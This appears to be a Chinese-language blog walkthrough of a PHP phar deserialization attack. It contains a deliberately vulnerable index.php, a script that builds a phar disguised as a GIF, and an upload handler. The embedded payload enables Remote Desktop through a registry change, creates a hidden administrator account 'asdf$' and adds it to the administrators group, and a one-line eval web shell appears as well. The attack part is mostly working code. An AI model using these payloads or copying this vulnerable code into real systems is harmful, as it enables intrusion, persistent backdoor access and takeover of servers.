<?php
echo "ssss";
$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
file_exists($filename);
?>

?phar_create.php

<?php

class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('../phar.phar');//上一级目录
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';
$phar -> setMetadata($object);
$phar -> stopBuffering();
echo 'phar 生成在上一级目录';
?>

?upload.html

<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "./" .$_FILES["file"]["name"]);
      echo "Stored in: " . "./" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

浏览器访问?

二、详细解释

1.phar反序列化

具体看其他大牛的博客

2.关键1

主要是index.php中的

? ? function __destruct()
? ? {
? ? ? ? eval($this -> data);
? ? }

所以在file_exists(”phar://../phar.phar“);触发反序列化然后时触发__destruct()执行命令。

3.关键2

本来我是想利用写入文件的，奈何后面在利用时不会执行这条命令，不知道为什么。。。。

$object -> data =?'file_put_contents（”cmd.php“,"<?php eval(\$_POST[cmd]);?>");'

echo `dir`; 加上反引号可以命令执行

$object -> data = 'echo `REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f && net user asdf$ 123456...aA /add && net localgroup administrators asdf$ /add`;';